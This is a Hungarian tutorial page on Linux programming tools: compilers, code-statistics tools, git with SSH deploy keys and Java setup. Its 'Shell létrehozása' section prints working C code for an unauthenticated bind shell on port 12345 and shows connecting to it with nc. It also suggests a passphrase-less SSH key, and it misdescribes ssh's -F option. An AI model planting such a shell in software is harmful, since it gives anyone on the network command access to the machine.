Tartalomjegyzék
Linux programozás
- Szerző: Sallai András
- Copyright © Sallai András, 2011, 2013, 2016, 2018, 2019, 2020
- Licenc: GNU Free Documentation License 1.3
- Web: https://szit.hu
Bevezetés
Ennek a lapnak célja a Linuxon programozáshoz használható fordítók, értelmezők telepítésének, használatbavételének bevezetése.
Nem célja egy-egy programozási nyelvbe való bevezetésnek. Ezeket megtaláljuk a Oktatás >> Programozás névtérben.
Programozási nyelvek
Egy linuxos rendszerre általában C nyelven szoktak parancssoros programokat írni. Grafikus programokat C++ nyelven. Persze mindig vannak kivételek. Apró funkciókra mondjuk a Perl vagy Bash scriptet írunk. De népszerű a Python nyelv, amelyen általános célokra kisebb nagyon parancssoros és grafikus programokat is írnak.
Az egyik legnépszerűbb fordító a GCC. Eredetileg valóban csak C fordító volt, de később képessé tették a C++ programok fordítására, majd megint később Pascal, Objective C, Java, Fortran és Ada nyelvek fordítását is megoldották. Így ma már nem fordítónak tekinthető, hanem egy előtét programnak „front end”.
Alapvetően a C és C++ nyelven megírt programokat fordíthatunk vele. C nyelv esetén a fordító parancs megegyezik annak nevével:
gcc
vagy:
cc
A C++ forráskódot azonban az alábbi paranccsal fordítjuk:
g++
Egy alaprendszer esetén a gcc automatikusan telepszik. Ha nem, telepítsük a gcc csomagot:
apt install gcc
Clang
A Clang szintén egy előtét program.
A C, C++, Objective-C és Objective-C++ nyelvekkel használható.
Használja az LLVM-et (Low Level Virtual Machine - alacsony szintű virtuális gép) „back end”.
Az LLVM a fordítói rendszer köztes részeként működik. A program először egy köztes kódra fordul le, a köztes kódból az adott rendszerre könnyen fordíthatunk a köztes kódból futtatható gépi-kódot.
A clang telepítése:
apt install clang
Telepítés után használhatjuk a cc parancsot. Létrejön egy /usr/bin/cc szimbolikus link. Ez a szimbolikus link a /etc/alternatives/cc fájlra mutat, amely szintén szimbolikus link. A /etc/alternatives/cc szimbolikus link a /usr/bin/clang fájlra mutat. Ha van egy program01.c nevű fordítandó forrás fájl, a fordítás a következő:
cc program01.c -o program01
Ha több fordító is fel van telepítve, például a gcc, akkor a következő paranccsal állíthatjuk be az alapértelmezést:
# update-alternatives --config cc
Egy egyszerű c program fordítása
Készítsük el a következő main.c nevű állományt:
Fordítás:
cc main.c
Kapunk egy a.out nevű futtatható fájlt.
Futtatás:
./a.out
Fordítás újra
Innentől már csak C nyelvet kell ismernünk a használathoz. A C programozásról az Oktatás -> Programozás -> C nyelv fejezetben olvashatsz bővebben. A teljesség igénye nélkül azért itt is tovább megyünk, de hangsúlyt a fordításra helyezve.
A fenti program kimenete a.out állomány. Fordításkor megadható más kimeneti állománynév is, a -o kapcsolóval. Fordítsuk újra a main.c forráskódot:
cc -o main main.c
A fordító egy „main” nevű futtatható állományt hoz létre.
Futtatás:
./main
Shell létrehozása
- main.c
#include <unistd.h> #include <netinet/in.h> #include <sys/socket.h> int sockfd, cli; struct sockaddr_in serv_addr; int main() { serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(12345); sockfd = socket(AF_INET,SOCK_STREAM,0); bind(sockfd,(struct sockaddr *) &serv_addr, 0x10); listen(sockfd, 1); cli = accept(sockfd, 0, 0); dup2(cli, 0); dup2(cli, 1); dup2(cli, 2); execve("/bin/sh", 0, 0); }
cc -o main main.c
Indítsuk el a programot:
./main
Kapcsolódjunk az nc programmal, kliensként:
nc localhost 12345
Próbáljunk parancsokat, az nc programon belül, például „ls”
ls
Riport készítése
cloc
Statisztikát, illetve riportot készíthetünk a cloc paranccsal. A parancs a cloc csomagban található. Debian 9 rendszeren a telepítése:
# apt install cloc
Legyen például a ~/Projektek/projekt01 a könyvtárunk, amely sok forrásfájlt tartalmaz. Ekkor:
janos@mars:~$ cloc ~/Projektek/projekt01 51 text files. 51 unique files. 1 file ignored. github.com/AlDanial/cloc v 1.70 T=0.20 s (250.1 files/s, 40252.0 lines/s) ------------------------------------------------------------------------------- Language files blank comment code ------------------------------------------------------------------------------- PHP 48 1360 1329 5173 CSS 2 32 35 117 ------------------------------------------------------------------------------- SUM: 50 1392 1364 5290 ------------------------------------------------------------------------------- janos@mars:~$
A program a kiterjesztések alapján azt is megmondja, milyen nyelveket használtunk. Hány sor üres, hány megjegyzés és hány kódsor. A példában 5290 kódsort írtunk.
sloccount
Telepítés:
apt install sloccount
janos@mars:~$ sloccount ~/Projektek/projekt01
Lehetséges kimenet:
SLOC Directory SLOC-by-Language (Sorted) 5070 htdocs php=5070 26 tmp php=26 23 config php=23 0 logs (none) 0 top_dir (none) Totals grouped by language (dominant language first): php: 5119 (100.00%) Total Physical Source Lines of Code (SLOC) = 5,119 Development Effort Estimate, Person-Years (Person-Months) = 1.11 (13.33) (Basic COCOMO model, Person-Months = 2.4 * (KSLOC**1.05)) Schedule Estimate, Years (Months) = 0.56 (6.69) (Basic COCOMO model, Months = 2.5 * (person-months**0.38)) Estimated Average Number of Developers (Effort/Schedule) = 1.99 Total Estimated Cost to Develop = $ 150,067 (average salary = $56,286/year, overhead = 2.40).
Fejlesztéshez alapvető csomagok
Debian GNU/Linuxon a build-essential alapvető csomagokat tartalmaz fejlesztéshez. Ezek a csomagok elsősorban C és C++ fejlesztés eszközei. Telepítés:
apt install build-essential
A csomaggal több eszköz is felkerül, többek között a gcc, c++ és a make. Más Linuxokon, más neve lehet; például az Arch Linuxon ez a csomag a base-devel néven érhető el.
Git
A git parancs
A git egy parancssoros program, amelynek a telepítése következő:
apt install git
A git lehetővé teszi programjaink verziókezelését.
A git használatáról Oktatás >> Programozás >> Verziókontroll névtérben találsz kimerítő leírást.
Github
Célunk, hogy git push kiadásakor ne kelljen megadni jelszót, kulccsal azonosítjuk magunkat.
Elsőként lépjünk a .ssh könyvtárba. A .ssh könyvtárba generálunk egy SSH kulcsot. A kulcsgeneráláskor kér egy jelszót, de ne adjuk meg, mivel éppen az a célunk, hogy ne keljen megadi.
cd ~/.ssh ssh-keygen -t rsa -b 4096 -C "janos@valahol.lan" -f janos_github_rsa
Két kulcs készül:
- janos_github_rsa – titkos kulcs
- janos_github_rsa.pub – nyilvános kulcs
A titkos kulcsra vigyázzunk; ennek birtokában lehet elérni a Github szervert. A nyilvános kulcsot terjeszthetjük.
A kulcs elkészítése után térjünk vissza a projekt könyvtárába. Adjuk meg a git számára, milyen titkos kulcsot használunk a kapcsolódáshoz:
git config core.sshCommand "ssh -i ~/.ssh/janos_github_rsa -F /dev/null"
Erre a git 2.10.0-s verziója óta van lehetőség. Előtte a GIT_SSH_COMMAND változónak kellett megadni az idézőjelek közötti részt. A környezeti változós megoldásra a git 2.3.0-s verziójától van lehetőség.
A -F /dev/null kapcsolóval, az ssh parancsnak hibakimenetét (szabványos hibakimenet), átirányítottuk a „semmibe” (/dev/null).
A publikus kulcsot töltsük fel a githubra. Ehhez a következőket tegyük a Github webes felületén:
- Válasszuk ki a kívánt projektet.
- Kattintsunk a „Settings” hivatkozásra.
- Kattintsunk a Deploy keys-re.
- Kattintsunk az Add deploy key-re.
- Két űrlap fogad minket:
- Adjunk tetszőleges nevet a kulcsnak (kié a kulcs, érdemes megadni).
- A Key mezőbe töltsük fel a nyilvános kulcsunkat.
- geany janos_github_rsa.pub
- Egy szövegszerkesztőben megnyitjuk, majd vágólapon keresztül bemásoljuk.
- A geany helyett válasszuk kedvenc szövegszerkesztőnket.
Ezek után git push:
git remote add origin git@github.com:janos/projektnev.git git push origin master
SSH config fájl
- ~/.ssh/config
host github.com HostName github.com IdentityFile ~/.ssh/janos_github_rsa User git
git clone git@github.com:janos/projektnev.git
chmod 400 ~/.ssh/janos_github_rsa
Meglévő tartalom felülírása a helyi tartalommal
Elsőként szükséges:
git push --set-upstream origin master --force
Ezek után már elég:
git push origin master
Java nyelv használata
A java fejlesztői készlet letölthető a webhelyről, de linuxos csomagok formájában is rendelkezésre áll. Debian 10-en telepítés:
apt install openjdk-11-jdk
Debian 9-en:
apt install openjdk-8-jdk
Telepítés után kapunk egy java és egy javac nevű parancsot is. Készítsünk egy egyszerű programot:
- Program01.java
public class Program01 { public static void main(String[] args) { System.out.println("Helló"); } }
Fordítás:
javac Program01.java
Fordítás után kapunk egy Program01.class fájlt. Futtatás:
java Program01
Függelék
COM portok programozása
man 3 setserial
Kódformázó
apt install universalindentgui
Fordítók
COBOL:
apt install open-cobol
Fortran:
apt install gfortran apt install gfortran-6
Free Pascal:
apt install fp-compiler apt install fp-ide apt install fpc
D:
apt install gdc apt install gdc-6
Irodalom
Linkek
- https://szilard.blogs.balabit.com/tag/hello-window/ (GTK programozás)
- http://www.scribd.com/doc/117116348/Hello-Window (GTK programozás /az előzővel egyezik/)